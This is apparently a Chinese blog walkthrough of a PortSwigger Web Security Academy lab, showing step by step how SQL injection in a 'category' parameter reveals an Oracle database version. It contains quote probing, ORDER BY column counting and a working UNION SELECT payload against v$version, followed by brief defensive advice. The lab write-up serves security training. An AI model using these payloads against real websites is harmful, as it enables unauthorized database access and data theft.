Web Security Academy 第三关:SQL 注入查询 Oracle 数据库版本

前言

大家好,本篇是 Web Security Academy 第三关:SQL 注入查询数据库版本 逐图逐步骤详细教程,全程和你提供的截图完全对应,一步一步带你复现通关。

另外,我之前已经发布过 Oracle 数据库基础用法的文章,对 Oracle 不熟悉的朋友可以先去看那篇补课,本文专注实战注入。


关卡信息

  • 关卡名称:SQL injection attack, querying the database type and version on Oracle
  • 注入点:商品分类 category 参数
  • 数据库:Oracle
  • 目标:页面回显完整数据库版本信息
  • 通关条件:显示指定版本字符串

步骤 1:进入关卡初始页面

首先打开靶场,进入第三关。页面顶部明确提示:Make the database retrieve the string: "Oracle Database 11g Express Edition..."

下方是商品列表,分类包括:All、Accessories、Food & Drink、Gifts 等。这一步确认:注入点在 category 参数


步骤 2:判断注入点 ------ 单引号测试

操作

在分类参数后直接加单引号:

plaintext

复制代码
category=Accessories'

页面结果

页面直接返回:Internal Server Error(500 错误)

请求包内容

plaintext

复制代码
GET /filter?category=Accessories%27 HTTP/2

响应:HTTP/2 500 Internal Server Error

结论

单引号破坏了后台 SQL 语句语法,存在字符型 SQL 注入


步骤 3:ORDER BY 1 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 1 --

页面结果

页面正常显示商品,无报错。说明当前字段数 ≥1。


步骤 4:ORDER BY 3 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 3 --

页面结果(对应截图)

页面再次返回 500 错误

请求包

plaintext

复制代码
GET /filter?category=Accessories%27%20order%20by%203%20-- HTTP/2

响应:500 错误。

结论

原查询字段数 小于 3


步骤 5:ORDER BY 2 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 2 --

页面结果(对应截图)

页面正常显示商品,无报错。

最终结论

原查询语句一共 2 个字段


步骤 6:构造 UNION 注入爆出版本

Oracle 版本查询核心知识

我之前文章讲过:

  • Oracle 查询完整版本使用系统视图:v$version
  • 版本信息字段:banner
  • Oracle 必须写 FROM,不能像 MySQL 省略
  • UNION 注入必须字段数、类型对齐

最终 Payload

plaintext

复制代码
category=-1' UNION SELECT banner,null FROM v$version--

Payload 拆解

  1. -1':让原查询结果为空,只显示我们注入的内容
  2. UNION SELECT:联合查询
  3. banner,null:刚好 2 个字段,与原查询对齐
  4. FROM v$version:Oracle 查版本必须的系统视图
  5. --:注释掉后面的 SQL 语句

步骤 7:通关成功

页面显示

页面顶部显示:Congratulations, you solved the lab!

页面直接回显完整版本:

  • Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
  • PL/SQL Release 11.2.0.2.0 - Production
  • CORE 11.2.0.2.0 Production
  • TNS for Linux: Version 11.2.0.2.0 - Production
  • NLSRTL Version 11.2.0.2.0 - Production

通关完成!


核心知识点总结

  1. 字符型注入判断:单引号触发 500 错误
  2. 字段数判断:ORDER BY 1→正常,2→正常,3→报错 → 共 2 字段
  3. Oracle 版本查询:SELECT banner FROM v$version
  4. UNION 注入必须:字段数一致、数据类型兼容
  5. 注释符:-- 闭合后面语句

安全防护建议

  1. 使用参数化查询 / 预编译语句
  2. 禁止网站业务账号访问 v$version 等系统视图
  3. 输入过滤与 WAF 防护

对 Oracle 数据库结构、系统视图、权限管理还不了解的朋友,快去看我之前发布的 Oracle 数据库基础用法 文章,基础扎实,注入更快更稳!

相关推荐
IvorySQL1 小时前
PostgreSQL 日报|大模型破解在线校验和(9 月 15 日)
数据库·人工智能·postgresql
Leon-Ning Liu2 小时前
Oracle 19c ASMB 进程 PGA 内存泄漏排查实战 (Bug 38610635)
数据库·oracle
步行cgn2 小时前
Spring 注入 null 和空字符串详解
数据库·spring·oracle
Allen_LVyingbo2 小时前
医疗人工智能项目全生命周期管理系统:监管知识建模、工程实现与实证评估(下)
大数据·数据库·人工智能·python·自然语言处理·自动化
草莓熊Lotso2 小时前
【Redis 进阶】主从复制深度解析:从配置落地到 PSYNC 同步原理
linux·开发语言·网络·数据库·redis·缓存·php
YangYang9YangYan2 小时前
2026 校招市场数据分析 JD 拆解,SQL 要求、工具与面试考点
数据库·人工智能·数据分析
风哥2号2 小时前
数据库教程FGMT40‑MySQL性能优化之性能基准测试
数据库·mysql
苍梧问道2 小时前
SQL Server阻塞与死锁排查实战:从DMV到根因分析
数据库
shirsl3 小时前
数据开发每日面试题 Day 5
大数据·数据库·sql·big data
DBA_G3 小时前
GBase 8a数据库执行计划查看方式解析
数据库